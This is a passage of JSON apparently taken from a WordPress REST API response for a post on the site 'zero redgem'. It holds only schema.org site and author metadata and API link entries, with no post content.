redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41409","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41409"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41409\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41409"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41409"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41409"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}